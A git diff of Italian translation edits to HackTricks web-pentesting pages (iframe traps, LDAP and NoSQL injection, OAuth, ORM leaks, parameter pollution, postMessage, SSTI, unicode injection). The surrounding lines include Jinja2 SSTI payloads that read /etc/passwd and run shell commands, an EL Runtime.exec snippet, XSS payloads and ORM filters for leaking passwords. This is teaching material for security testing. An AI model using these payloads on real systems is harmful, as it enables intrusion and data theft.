index ee9712d6a..92aa93825 100644 --- a/src/pentesting-web/iframe-traps.md +++ b/src/pentesting-web/iframe-traps.md @@ -2,15 +2,15 @@ {{#include ../banners/hacktricks-training.md}} -## Informazioni di Base +## Informazioni di base Questa forma di abuso di XSS tramite iframe per rubare informazioni dall'utente che si muove attraverso la pagina web è stata originariamente pubblicata in questi 2 post di trustedsec.com: [**qui**](https://trustedsec.com/blog/persisting-xss-with-iframe-traps) **e** [**qui**](https://trustedsec.com/blog/js-tap-weaponizing-javascript-for-red-teams). L'attacco inizia in una pagina vulnerabile a un XSS dove è possibile fare in modo che le **vittime non lascino l'XSS** facendole **navigare all'interno di un iframe** che occupa tutta l'applicazione web. -L'attacco XSS caricherà fondamentalmente la pagina web in un iframe nel 100% dello schermo. Pertanto, la vittima **non si accorgerà di essere all'interno di un iframe**. Poi, se la vittima naviga nella pagina cliccando sui link all'interno dell'iframe (all'interno del web), si troverà **a navigare all'interno dell'iframe** con il JS arbitrario caricato che ruba informazioni da questa navigazione. +L'attacco XSS caricherà fondamentalmente la pagina web in un iframe nel 100% dello schermo. Pertanto, la vittima **non si accorgerà di essere all'interno di un iframe**. Poi, se la vittima naviga nella pagina cliccando sui link all'interno dell'iframe (all'interno del web), sarà **navigando all'interno dell'iframe** con il JS arbitrario caricato che ruba informazioni da questa navigazione. -Inoltre, per renderlo più realistico, è possibile utilizzare alcuni **listener** per controllare quando un iframe cambia la posizione della pagina e aggiornare l'URL del browser con quelle posizioni che l'utente pensa di star cambiando pagina utilizzando il browser. +Inoltre, per renderlo più realistico, è possibile utilizzare alcuni **listener** per controllare quando un iframe cambia la posizione della pagina e aggiornare l'URL del browser con quelle posizioni che l'utente pensa di star cambiando pagine utilizzando il browser.

https://www.trustedsec.com/wp-content/uploads/2022/04/regEvents.png

diff --git a/src/pentesting-web/ldap-injection.md b/src/pentesting-web/ldap-injection.md index 592552174..6844b55f4 100644 --- a/src/pentesting-web/ldap-injection.md +++ b/src/pentesting-web/ldap-injection.md @@ -4,6 +4,7 @@ {{#include ../banners/hacktricks-training.md}} + ## LDAP Injection ### **LDAP** @@ -14,7 +15,7 @@ ../network-services-pentesting/pentesting-ldap.md {{#endref}} -**LDAP Injection** è un attacco che prende di mira le applicazioni web che costruiscono dichiarazioni LDAP dall'input dell'utente. Si verifica quando l'applicazione **non riesce a sanitizzare correttamente** l'input, consentendo agli attaccanti di **manipolare le dichiarazioni LDAP** tramite un proxy locale, potenzialmente portando ad accessi non autorizzati o manipolazione dei dati. +**LDAP Injection** è un attacco che prende di mira le applicazioni web che costruiscono dichiarazioni LDAP a partire dall'input dell'utente. Si verifica quando l'applicazione **non riesce a sanitizzare correttamente** l'input, consentendo agli attaccanti di **manipolare le dichiarazioni LDAP** tramite un proxy locale, potenzialmente portando ad accessi non autorizzati o manipolazione dei dati. {% file src="../images/EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf" %} @@ -180,7 +181,7 @@ if char == alphabet[-1]: #If last of all the chars, then, no more chars in the v finish = True print() ``` -#### **Iniezione LDAP Speciale Cieca (senza "\*")** +#### **Iniezione LDAP Cieca Speciale (senza "\*")** ```python #!/usr/bin/python3 diff --git a/src/pentesting-web/login-bypass/README.md b/src/pentesting-web/login-bypass/README.md index 415aa0433..10ab19dca 100644 --- a/src/pentesting-web/login-bypass/README.md +++ b/src/pentesting-web/login-bypass/README.md @@ -37,7 +37,7 @@ sql-login-bypass.md [Qui puoi trovare diversi trucchi per bypassare il login tramite **No SQL Injections**](../nosql-injection.md#basic-authentication-bypass)**.** -Poiché le NoSQL Injections richiedono di cambiare il valore dei parametri, dovrai testarli manualmente. +Poiché le NoSQL Injections richiedono di cambiare il valore dei parametri, dovrai testarle manualmente. ### Bypass di autenticazione XPath Injection diff --git a/src/pentesting-web/login-bypass/sql-login-bypass.md b/src/pentesting-web/login-bypass/sql-login-bypass.md index d81cbda80..b04966067 100644 --- a/src/pentesting-web/login-bypass/sql-login-bypass.md +++ b/src/pentesting-web/login-bypass/sql-login-bypass.md @@ -2,7 +2,7 @@ Questa lista contiene **payload per bypassare il login tramite XPath, LDAP e SQL injection** (in quest'ordine). -Il modo per utilizzare questa lista è di inserire le **prime 200 righe come nome utente e password.** Poi, inserire l'intera lista nel campo del nome utente per primo e poi nel campo della password, mentre si inserisce una password (come _Pass1234._) o un nome utente conosciuto (come _admin_). +Il modo per utilizzare questa lista è di inserire le **prime 200 righe come nome utente e password.** Poi, inserire l'elenco completo prima nel campo del nome utente e poi in quello della password, mentre si inserisce una password (come _Pass1234._) o un nome utente noto (come _admin_). ``` admin password diff --git a/src/pentesting-web/nosql-injection.md b/src/pentesting-web/nosql-injection.md index 6f051c2b7..0f79d5994 100644 --- a/src/pentesting-web/nosql-injection.md +++ b/src/pentesting-web/nosql-injection.md @@ -178,7 +178,7 @@ password += c ``` ### Brute-force login usernames and passwords from POST login -Questo è uno script semplice che puoi modificare, ma anche gli strumenti precedenti possono svolgere questo compito. +Questo è uno script semplice che potresti modificare, ma anche gli strumenti precedenti possono svolgere questo compito. ```python import requests import string diff --git a/src/pentesting-web/oauth-to-account-takeover.md b/src/pentesting-web/oauth-to-account-takeover.md index f1e4f7be3..6afbdfa1e 100644 --- a/src/pentesting-web/oauth-to-account-takeover.md +++ b/src/pentesting-web/oauth-to-account-takeover.md @@ -2,7 +2,6 @@ {{#include ../banners/hacktricks-training.md}} - ## Informazioni di base OAuth offre varie versioni, con informazioni fondamentali accessibili nella [documentazione OAuth 2.0](https://oauth.net/2/). Questa discussione si concentra principalmente sul [tipo di concessione del codice di autorizzazione OAuth 2.0](https://oauth.net/2/grant-types/authorization-code/), fornendo un **framework di autorizzazione che consente a un'applicazione di accedere o eseguire azioni sull'account di un utente in un'altra applicazione** (il server di autorizzazione). @@ -41,7 +40,7 @@ https://socialmedia.com/auth &state=randomString123 ``` 3. Ti viene quindi presentata una pagina di consenso. -4. Dopo la tua approvazione, Social Media invia una risposta al `redirect_uri` con i parametri `code` e `state`: +4. Dopo la tua approvazione, Social Media invia una risposta all'`redirect_uri` con i parametri `code` e `state`: ``` https://example.com?code=uniqueCode123&state=randomString123 ``` @@ -57,11 +56,11 @@ Host: socialmedia.com Il `redirect_uri` è cruciale per la sicurezza nelle implementazioni di OAuth e OpenID, poiché indica dove vengono inviati i dati sensibili, come i codici di autorizzazione, dopo l'autorizzazione. Se configurato in modo errato, potrebbe consentire agli attaccanti di reindirizzare queste richieste a server malevoli, abilitando il takeover dell'account. -Le tecniche di sfruttamento variano in base alla logica di convalida del server di autorizzazione. Possono variare da un abbinamento di percorso rigoroso ad accettare qualsiasi URL all'interno del dominio o sottodirectory specificati. I metodi di sfruttamento comuni includono reindirizzamenti aperti, traversata di percorso, sfruttamento di regex deboli e iniezione HTML per il furto di token. +Le tecniche di sfruttamento variano in base alla logica di convalida del server di autorizzazione. Possono variare da un abbinamento di percorso rigoroso all'accettazione di qualsiasi URL all'interno del dominio o sottodirectory specificati. I metodi di sfruttamento comuni includono reindirizzamenti aperti, traversata di percorso, sfruttamento di regex deboli e iniezione HTML per il furto di token. Oltre al `redirect_uri`, altri parametri di OAuth e OpenID come `client_uri`, `policy_uri`, `tos_uri` e `initiate_login_uri` sono anch'essi suscettibili ad attacchi di reindirizzamento. Questi parametri sono facoltativi e il loro supporto varia tra i server. -Per coloro che mirano a un server OpenID, l'endpoint di scoperta (`**.well-known/openid-configuration**`) elenca spesso dettagli di configurazione preziosi come `registration_endpoint`, `request_uri_parameter_supported` e "`require_request_uri_registration`. Questi dettagli possono aiutare a identificare l'endpoint di registrazione e altre specifiche di configurazione del server. +Per coloro che mirano a un server OpenID, l'endpoint di discovery (`**.well-known/openid-configuration**`) elenca spesso dettagli di configurazione preziosi come `registration_endpoint`, `request_uri_parameter_supported` e "`require_request_uri_registration`. Questi dettagli possono aiutare a identificare l'endpoint di registrazione e altre specifiche di configurazione del server. ### XSS nell'implementazione del reindirizzamento @@ -73,7 +72,7 @@ https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard -Nota come tutti i request.data (che saranno un json) siano direttamente passati a **filtrare oggetti dal database**. Un attaccante potrebbe inviare filtri inaspettati per cercare di leakare più dati del previsto. +Nota come tutto il request.data (che sarà un json) venga passato direttamente a **filtrare oggetti dal database**. Un attaccante potrebbe inviare filtri inaspettati per cercare di leakare più dati del previsto. Esempi: @@ -43,7 +43,7 @@ Esempi: > [!CAUTION] > È possibile trovare la password di tutti gli utenti che hanno creato un articolo -- **Filtraggio relazionale molti-a-molti**: Nell'esempio precedente non siamo riusciti a trovare le password degli utenti che non hanno creato un articolo. Tuttavia, seguendo altre relazioni, questo è possibile. Ad esempio: Article(`created_by`) -\[1..1]-> Author(`departments`) -\[0..\*]-> Department(`employees`) -\[0..\*]-> Author(`user`) -\[1..1]-> User(`password`). +- **Filtraggio relazionale molti-a-molti**: Nell'esempio precedente non siamo riusciti a trovare le password degli utenti che non hanno creato un articolo. Tuttavia, seguendo altre relazioni questo è possibile. Ad esempio: Article(`created_by`) -\[1..1]-> Author(`departments`) -\[0..\*]-> Department(`employees`) -\[0..\*]-> Author(`user`) -\[1..1]-> User(`password`). ```json { "created_by__departments__employees__user_startswith": "admi" @@ -60,7 +60,7 @@ created_by__user__groups__user__password # By users with the same permission created_by__user__user_permissions__user__password ``` -- **Bypass filter restrictions**: Lo stesso blog ha proposto di bypassare l'uso di alcuni filtri come `articles = Article.objects.filter(is_secret=False, **request.data)`. È possibile estrarre articoli che hanno is_secret=True perché possiamo tornare indietro da una relazione alla tabella Article e rivelare articoli segreti da articoli non segreti poiché i risultati sono uniti e il campo is_secret viene controllato nell'articolo non segreto mentre i dati vengono rivelati dall'articolo segreto. +- **Bypass filter restrictions**: Lo stesso post del blog ha proposto di bypassare l'uso di alcuni filtri come `articles = Article.objects.filter(is_secret=False, **request.data)`. È possibile dumpare articoli che hanno is_secret=True perché possiamo tornare indietro da una relazione alla tabella Article e leakare articoli segreti da articoli non segreti poiché i risultati sono uniti e il campo is_secret viene controllato nell'articolo non segreto mentre i dati vengono leakati dall'articolo segreto. ```bash Article.objects.filter(is_secret=False, categories__articles__id=2) ``` @@ -268,7 +268,7 @@ res.json([]) ] } ``` -Dove `{CONTAINS_LIST}` è un elenco con 1000 stringhe per assicurarsi che **la risposta sia ritardata quando viene trovata la corretta leak.** +Dove il `{CONTAINS_LIST}` è un elenco con 1000 stringhe per assicurarsi che **la risposta sia ritardata quando viene trovata la corretta leak.** ## **Ransack (Ruby)** diff --git a/src/pentesting-web/parameter-pollution.md b/src/pentesting-web/parameter-pollution.md index a775bcec5..fbbf5bdc3 100644 --- a/src/pentesting-web/parameter-pollution.md +++ b/src/pentesting-web/parameter-pollution.md @@ -4,7 +4,6 @@ {{#include ../banners/hacktricks-training.md}} - ## Panoramica dell'Inquinamento dei Parametri HTTP (HPP) L'Inquinamento dei Parametri HTTP (HPP) è una tecnica in cui gli attaccanti manipolano i parametri HTTP per cambiare il comportamento di un'applicazione web in modi non intenzionati. Questa manipolazione avviene aggiungendo, modificando o duplicando i parametri HTTP. L'effetto di queste manipolazioni non è direttamente visibile all'utente, ma può alterare significativamente la funzionalità dell'applicazione sul lato server, con impatti osservabili sul lato client. @@ -49,7 +48,7 @@ Questo esempio sottolinea ulteriormente la necessità di una gestione sicura dei Il modo in cui le tecnologie web gestiscono i parametri HTTP duplicati varia, influenzando la loro suscettibilità agli attacchi HPP: -- **Flask:** Adotta il primo valore del parametro incontrato, come `a=1` in una stringa di query `a=1&a=2`, privilegiando l'istanza iniziale rispetto ai duplicati successivi. +- **Flask:** Adozione del primo valore del parametro incontrato, come `a=1` in una stringa di query `a=1&a=2`, privilegiando l'istanza iniziale rispetto ai duplicati successivi. - **PHP (su Apache HTTP Server):** Al contrario, privilegia l'ultimo valore del parametro, optando per `a=2` nell'esempio fornito. Questo comportamento può facilitare involontariamente gli exploit HPP onorando il parametro manipolato dall'attaccante rispetto all'originale. ## Inquinamento dei parametri per tecnologia @@ -61,9 +60,9 @@ I risultati sono stati presi da [https://medium.com/@0xAwali/http-parameter-poll

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*l_Pf2JNCYhmfAvfk7UTEbQ.jpeg

1. Ignora tutto dopo %00 nel nome del parametro. -2. Gestisci name\[] come array. +2. Gestisce name\[] come array. 3. \_GET non significa metodo GET. -4. Preferisci l'ultimo parametro. +4. Preferisce l'ultimo parametro. ### Ruby 3.3.5 e WEBrick 1.8.2 @@ -71,7 +70,7 @@ I risultati sono stati presi da [https://medium.com/@0xAwali/http-parameter-poll 1. Usa i delimitatori & e ; per separare i parametri. 2. Non riconosce name\[]. -3. Preferisci il primo parametro. +3. Preferisce il primo parametro. ### Spring MVC 6.0.23 E Apache Tomcat 10.1.30 @@ -79,7 +78,7 @@ I risultati sono stati presi da [https://medium.com/@0xAwali/http-parameter-poll 1. POST RequestMapping == PostMapping & GET RequestMapping == GetMapping. 2. POST RequestMapping & PostMapping riconoscono name\[]. -3. Preferisci name se name E name\[] esistono. +3. Preferisce name se name E name\[] esistono. 4. Concatenare i parametri e.g. first,last. 5. POST RequestMapping & PostMapping riconoscono i parametri di query con Content-Type. @@ -95,28 +94,28 @@ I risultati sono stati presi da [https://medium.com/@0xAwali/http-parameter-poll

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NVvN1N8sL4g_Gi796FzlZA.jpeg

1. NON riconosce name\[]. -2. Preferisci il primo parametro. +2. Preferisce il primo parametro. ### Python 3.12.6 E Werkzeug 3.0.4 E Flask 3.0.3

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*Se5467PFFjIlmT3O7KNlWQ.jpeg

1. NON riconosce name\[]. -2. Preferisci il primo parametro. +2. Preferisce il primo parametro. ### Python 3.12.6 E Django 4.2.15

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rf38VXut5YhAx0ZhUzgT8Q.jpeg

1. NON riconosce name\[]. -2. Preferisci l'ultimo parametro. +2. Preferisce l'ultimo parametro. ### Python 3.12.6 E Tornado 6.4.1

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*obCn7xahDc296JZccXM2qQ.jpeg

1. NON riconosce name\[]. -2. Preferisci l'ultimo parametro. +2. Preferisce l'ultimo parametro. ## Iniezione JSON @@ -137,7 +136,7 @@ Alcaratteri non verranno interpretati correttamente dal frontend, ma il backend ``` Nota come in questi casi il front end potrebbe pensare che `test == 1` e il backend penserà che `test == 2`. -Questo può anche essere utilizzato per bypassare le restrizioni sui valori come: +Questo può anche essere usato per bypassare le restrizioni sui valori come: ```json {"role": "administrator\[raw \x0d byte]"} {"role":"administrator\ud800"} diff --git a/src/pentesting-web/pocs-and-polygloths-cheatsheet/README.md b/src/pentesting-web/pocs-and-polygloths-cheatsheet/README.md index 2d4873ab8..832773c63 100644 --- a/src/pentesting-web/pocs-and-polygloths-cheatsheet/README.md +++ b/src/pentesting-web/pocs-and-polygloths-cheatsheet/README.md @@ -5,7 +5,7 @@ L'obiettivo di queste PoCs e Polygloths è fornire al tester un **riassunto** veloce delle vulnerabilità che può sfruttare se il suo **input viene in qualche modo riflesso nella risposta**. > [!WARNING] -> Questa **cheat sheet non propone un elenco completo di test per ogni vulnerabilità**, solo alcuni test di base. Se stai cercando test più completi, accedi a ciascuna vulnerabilità proposta. +> Questa **cheat sheet non propone un elenco completo di test per ogni vulnerabilità**, solo alcuni di base. Se stai cercando test più completi, accedi a ciascuna vulnerabilità proposta. > [!CAUTION] > Non **troverai iniezioni dipendenti dal Content-Type come XXE**, poiché di solito proverai quelle tu stesso se trovi una richiesta che invia dati xml. Non **troverai nemmeno iniezioni di database** qui, poiché anche se alcuni contenuti potrebbero essere riflessi, dipende fortemente dalla tecnologia e dalla struttura del DB backend. diff --git a/src/pentesting-web/postmessage-vulnerabilities/README.md b/src/pentesting-web/postmessage-vulnerabilities/README.md index 464801713..b060cae5b 100644 --- a/src/pentesting-web/postmessage-vulnerabilities/README.md +++ b/src/pentesting-web/postmessage-vulnerabilities/README.md @@ -38,7 +38,7 @@ Se viene utilizzato il **carattere jolly**, i **messaggi possono essere inviati ### Attacco a iframe e carattere jolly in **targetOrigin** -Come spiegato in [**questo report**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/), se trovi una pagina che può essere **iframed** (senza protezione `X-Frame-Header`) e che sta **inviando messaggi sensibili** tramite **postMessage** utilizzando un **carattere jolly** (\*), puoi **modificare** l'**origine** dell'**iframe** e **leakare** il **messaggio sensibile** a un dominio controllato da te.\ +Come spiegato in [**questo report**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/), se trovi una pagina che può essere **iframed** (senza protezione `X-Frame-Header`) e che sta **inviando messaggi sensibili** tramite **postMessage** utilizzando un **carattere jolly** (\*), puoi **modificare** l'**origine** dell'**iframe** e **leak** il **messaggio sensibile** a un dominio controllato da te.\ Nota che se la pagina può essere iframed ma il **targetOrigin** è **impostato su un URL e non su un carattere jolly**, questo **trucco non funzionerà**. ```markup @@ -86,7 +86,7 @@ Per **trovare i listener di eventi** nella pagina corrente puoi: - Usa un **estensione del browser** come [**https://github.com/benso-io/posta**](https://github.com/benso-io/posta) o [https://github.com/fransr/postMessage-tracker](https://github.com/fransr/postMessage-tracker). Queste estensioni del browser **intercetteranno tutti i messaggi** e te li mostreranno. -### Bypass dei controlli di origine +### Bypass dell'origine - L'attributo **`event.isTrusted`** è considerato sicuro in quanto restituisce `True` solo per eventi generati da azioni genuine dell'utente. Anche se è difficile da bypassare se implementato correttamente, la sua importanza nei controlli di sicurezza è notevole. - L'uso di **`indexOf()`** per la validazione dell'origine negli eventi PostMessage può essere suscettibile a bypass. Un esempio che illustra questa vulnerabilità è: @@ -130,7 +130,7 @@ Quando si incorpora una pagina web all'interno di un **iframe sandboxed** utiliz Specificando **`allow-popups`** nell'attributo sandbox, qualsiasi finestra popup aperta dall'interno dell'iframe eredita le restrizioni sandbox del suo genitore. Ciò significa che a meno che l'attributo **`allow-popups-to-escape-sandbox`** non sia incluso, l'origine della finestra popup è anch'essa impostata su `null`, allineandosi con l'origine dell'iframe. -Di conseguenza, quando una popup viene aperta in queste condizioni e un messaggio viene inviato dall'iframe alla popup utilizzando **`postMessage`**, sia il mittente che il destinatario hanno le loro origini impostate su `null`. Questa situazione porta a uno scenario in cui **`e.origin == window.origin`** risulta vero (`null == null`), poiché sia l'iframe che la popup condividono lo stesso valore di origine di `null`. +Di conseguenza, quando una popup viene aperta in queste condizioni e un messaggio viene inviato dall'iframe alla popup utilizzando **`postMessage`**, sia l'invio che la ricezione hanno le loro origini impostate su `null`. Questa situazione porta a uno scenario in cui **`e.origin == window.origin`** valuta a true (`null == null`), poiché sia l'iframe che la popup condividono lo stesso valore di origine di `null`. Per ulteriori informazioni **leggi**: @@ -140,7 +140,7 @@ bypassing-sop-with-iframes-1.md ### Bypassare e.source -È possibile controllare se il messaggio proviene dalla stessa finestra in cui lo script sta ascoltando (particolarmente interessante per **Content Scripts delle estensioni del browser** per controllare se il messaggio è stato inviato dalla stessa pagina): +È possibile controllare se il messaggio proviene dalla stessa finestra in cui lo script sta ascoltando (particolarmente interessante per **Content Scripts da estensioni del browser** per controllare se il messaggio è stato inviato dalla stessa pagina): ```javascript // If it’s not, return immediately. if (received_message.source !== window) { @@ -157,7 +157,7 @@ bypassing-sop-with-iframes-2.md ### Bypass dell'header X-Frame -Per eseguire questi attacchi, idealmente sarai in grado di **mettere la pagina web della vittima** all'interno di un `iframe`. Ma alcuni header come `X-Frame-Header` possono **prevenire** quel **comportamento**.\ +Per eseguire questi attacchi, idealmente dovresti essere in grado di **mettere la pagina web della vittima** all'interno di un `iframe`. Ma alcuni header come `X-Frame-Header` possono **prevenire** quel **comportamento**.\ In quei scenari puoi comunque utilizzare un attacco meno furtivo. Puoi aprire una nuova scheda per l'applicazione web vulnerabile e comunicare con essa: ```markup "}}` risulta in `<script>alert(1)</script>`). Tuttavia, la definizione e l'invocazione del template in Go possono bypassare questa codifica: \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}} +Con il pacchetto `text/template`, l'XSS può essere semplice inserendo direttamente il payload. Al contrario, il pacchetto `html/template` codifica la risposta per prevenire questo (ad esempio, `{{""}}` risulta in `<script>alert(1)</script>`). Tuttavia, la definizione e l'invocazione del template in Go possono bypassare questa codifica: \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}} vbnet Copy code @@ -975,7 +977,7 @@ return string(out) Controlla il resto di [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) per ulteriori exploit. Puoi anche trovare informazioni interessanti sui tag in [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI) -## PDF BlackHat +## BlackHat PDF {% file src="../../images/EN-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-BlackHat-15 (1).pdf" %} diff --git a/src/pentesting-web/ssti-server-side-template-injection/el-expression-language.md b/src/pentesting-web/ssti-server-side-template-injection/el-expression-language.md index dada70c15..b57688d17 100644 --- a/src/pentesting-web/ssti-server-side-template-injection/el-expression-language.md +++ b/src/pentesting-web/ssti-server-side-template-injection/el-expression-language.md @@ -18,7 +18,7 @@ Il Linguaggio di Espressione (EL) è fondamentale in JavaEE per collegare il liv L'EL è presente nelle tecnologie JavaEE, in ambienti standalone, e riconoscibile attraverso le estensioni di file `.jsp` o `.jsf`, errori di stack e termini come "Servlet" negli header. Tuttavia, le sue funzionalità e l'uso di determinati caratteri possono dipendere dalla versione. > [!NOTE] -> A seconda della **versione EL**, alcune **funzionalità** potrebbero essere **Attive** o **Disattive** e di solito alcuni **caratteri** possono essere **non consentiti**. +> A seconda della **versione EL**, alcune **funzionalità** potrebbero essere **Attive** o **Disattive** e di solito alcuni **caratteri** potrebbero essere **non consentiti**. ## Esempio di Base @@ -185,7 +185,7 @@ T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec ### Ispezionare l'ambiente - `applicationScope` - variabili globali dell'applicazione -- `requestScope` - variabili della richiesta +- `requestScope` - variabili di richiesta - `initParam` - variabili di inizializzazione dell'applicazione - `sessionScope` - variabili di sessione - `param.X` - valore del parametro dove X è il nome di un parametro http diff --git a/src/pentesting-web/ssti-server-side-template-injection/jinja2-ssti.md b/src/pentesting-web/ssti-server-side-template-injection/jinja2-ssti.md index 50dc9c134..576264e0c 100644 --- a/src/pentesting-web/ssti-server-side-template-injection/jinja2-ssti.md +++ b/src/pentesting-web/ssti-server-side-template-injection/jinja2-ssti.md @@ -78,7 +78,7 @@ request Poi, da questi oggetti dobbiamo arrivare alla classe: **``** per cercare di **recuperare** le **classi** definite. Questo perché da questo oggetto possiamo chiamare il metodo **`__subclasses__`** e **accedere a tutte le classi dall'ambiente python non sandboxed**. -Per accedere a quella **classe oggetto**, è necessario **accedere a un oggetto classe** e poi accedere a **`__base__`**, **`__mro__()[-1]`** o `.`**`mro()[-1]`**. E poi, **dopo** aver raggiunto questa **classe oggetto** chiamiamo **`__subclasses__()`**. +Per accedere a quella **classe oggetto**, è necessario **accedere a un oggetto classe** e poi accedere a **`__base__`**, **`__mro__()[-1]`** o `.`**`mro()[-1]`**. E poi, **dopo** aver raggiunto questa **classe oggetto**, **chiamiamo** **`__subclasses__()`**. Controlla questi esempi: ```python @@ -130,7 +130,7 @@ dict.__mro__[-1] La chiamata a `__subclasses__` ci ha dato l'opportunità di **accedere a centinaia di nuove funzioni**, saremo felici semplicemente accedendo alla **classe file** per **leggere/scrivere file** o a qualsiasi classe con accesso a una classe che **consente di eseguire comandi** (come `os`). -**Leggi/Scrivi file remoto** +**Read/Write remote file** ```python # ''.__class__.__mro__[1].__subclasses__()[40] = File class {{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }} @@ -159,7 +159,7 @@ La chiamata a `__subclasses__` ci ha dato l'opportunità di **accedere a centina {{ dict.mro()[-1].__subclasses__()[276](request.args.cmd,shell=True,stdout=-1).communicate()[0].strip() }} ``` -Per saperne di più su **ulteriori classi** che puoi utilizzare per **sfuggire** puoi **controllare**: +Per saperne di più su **ulteriori classi** che puoi utilizzare per **evadere**, puoi **controllare**: {{#ref}} ../../generic-methodologies-and-resources/python/bypass-python-sandboxes/ @@ -247,7 +247,7 @@ Senza **`{{`** **`.`** **`[`** **`]`** **`}}`** **`_`** ``` ## Jinja Injection senza **\** -Dai [**global objects**](jinja2-ssti.md#accessing-global-objects) c'è un altro modo per ottenere **RCE senza usare quella classe.**\ +Dai [**global objects**](jinja2-ssti.md#accessing-global-objects) c'è un altro modo per ottenere **RCE senza utilizzare quella classe.**\ Se riesci ad accedere a qualsiasi **funzione** da quegli oggetti globali, sarai in grado di accedere a **`__globals__.__builtins__`** e da lì l'**RCE** è molto **semplice**. Puoi **trovare funzioni** dagli oggetti **`request`**, **`config`** e qualsiasi **altro** interessante **oggetto globale** a cui hai accesso con: diff --git a/src/pentesting-web/timing-attacks.md b/src/pentesting-web/timing-attacks.md index 4927de1ea..3bdaf4016 100644 --- a/src/pentesting-web/timing-attacks.md +++ b/src/pentesting-web/timing-attacks.md @@ -9,8 +9,8 @@ L'obiettivo di base di un attacco temporale è fondamentalmente quello di poter rispondere a domande complicate o rilevare funzionalità nascoste semplicemente **controllando le differenze di tempo nelle risposte a richieste simili**. -Tradizionalmente, questo è stato molto complicato a causa della latenza e del jitter introdotti sia dalla rete che dal server. Tuttavia, dalla scoperta e dal miglioramento dell' [**attacco Race Condition Single Packet**](race-condition.md#http-2-single-packet-attack-vs.-http-1.1-last-byte-synchronization), è possibile utilizzare questa tecnica per rimuovere tutti i ritardi di rete dal'equazione.\ -Lasciando solo i **ritardi del server**, gli attacchi temporali diventano più facili da scoprire e abusare. +Tradizionalmente, questo è stato molto complicato a causa della latenza e del jitter introdotti sia dalla rete che dal server. Tuttavia, dalla scoperta e dal miglioramento dell' [**attacco Race Condition Single Packet**](race-condition.md#http-2-single-packet-attack-vs.-http-1.1-last-byte-synchronization), è possibile utilizzare questa tecnica per rimuovere tutti i ritardi di rete dal calcolo.\ +Lasciando solo i **ritardi del server**, gli attacchi temporali diventano più facili da scoprire e sfruttare. ## Discoveries @@ -30,7 +30,7 @@ Una volta scoperto un proxy aperto scoperte, è stato possibile trovare obiettiv - **Evitare i firewall** accedendo a sottodomini riservati tramite il **proxy aperto** invece che attraverso internet - Inoltre, abusando di un **proxy aperto** è anche possibile **scoprire nuovi sottodomini accessibili solo internamente.** -- **Attacchi di impersonificazione Front-End**: I server front-end normalmente aggiungono intestazioni per il backend come `X-Forwarded-For` o `X-Real-IP`. I proxy aperti che ricevono queste intestazioni le aggiungeranno all'endpoint richiesto, quindi, un attaccante potrebbe essere in grado di accedere a ancora più domini interni aggiungendo queste intestazioni a valori autorizzati. +- **Attacchi di impersonificazione Front-End**: I server front-end normalmente aggiungono intestazioni per il backend come `X-Forwarded-For` o `X-Real-IP`. I proxy aperti che ricevono queste intestazioni le aggiungeranno all'endpoint richiesto, quindi, un attaccante potrebbe essere in grado di accedere a ancora più domini interni aggiungendo queste intestazioni con valori autorizzati. ## References diff --git a/src/pentesting-web/unicode-injection/README.md b/src/pentesting-web/unicode-injection/README.md index c96449eb4..44a93834d 100644 --- a/src/pentesting-web/unicode-injection/README.md +++ b/src/pentesting-web/unicode-injection/README.md @@ -29,7 +29,7 @@ Questa vulnerabilità proviene effettivamente da una vulnerabilità trovata da u I back-end si comportano in modo strano quando **ricevono emoji**. Questo è ciò che è successo in [**questo writeup**](https://medium.com/@fpatrik/how-i-found-an-xss-vulnerability-via-using-emojis-7ad72de49209) dove il ricercatore è riuscito a ottenere un XSS con un payload come: `💋img src=x onerror=alert(document.domain)//💛` -In questo caso, l'errore era che il server, dopo aver rimosso i caratteri dannosi, **ha convertito la stringa UTF-8 da Windows-1252 a UTF-8** (fondamentalmente l'encoding dell'input e la conversione dall'encoding non corrispondevano). Quindi questo non dà un < corretto, solo uno unicode strano: `‹`\ +In questo caso, l'errore è stato che il server, dopo aver rimosso i caratteri dannosi, **ha convertito la stringa UTF-8 da Windows-1252 a UTF-8** (fondamentalmente l'encoding dell'input e la conversione dall'encoding non corrispondevano). Quindi questo non dà un < corretto, solo uno unicode strano: `‹`\ ``Quindi hanno preso questo output e **convertito di nuovo ora da UTF-8 a ASCII**. Questo **ha normalizzato** il `‹` in `<`, ecco come l'exploit potrebbe funzionare su quel sistema.\ Questo è ciò che è successo: ```php diff --git a/src/pentesting-web/unicode-injection/unicode-normalization.md b/src/pentesting-web/unicode-injection/unicode-normalization.md index 758b8a932..4d5f31698 100644 --- a/src/pentesting-web/unicode-injection/unicode-normalization.md +++ b/src/pentesting-web/unicode-injection/unicode-normalization.md @@ -1,4 +1,4 @@ -# Unicode Normalization +# Normalizzazione Unicode {{#include ../../banners/hacktricks-training.md}} @@ -6,7 +6,7 @@ ## Comprendere Unicode e Normalizzazione -La normalizzazione Unicode è un processo che garantisce che diverse rappresentazioni binarie dei caratteri siano standardizzate allo stesso valore binario. Questo processo è cruciale nella gestione delle stringhe nella programmazione e nell'elaborazione dei dati. Lo standard Unicode definisce due tipi di equivalenza dei caratteri: +La normalizzazione Unicode è un processo che garantisce che diverse rappresentazioni binarie di caratteri siano standardizzate allo stesso valore binario. Questo processo è cruciale nella gestione delle stringhe nella programmazione e nell'elaborazione dei dati. Lo standard Unicode definisce due tipi di equivalenza dei caratteri: 1. **Equivalenza Canonica**: I caratteri sono considerati canonici equivalenti se hanno lo stesso aspetto e significato quando stampati o visualizzati. 2. **Equivalenza di Compatibilità**: Una forma più debole di equivalenza in cui i caratteri 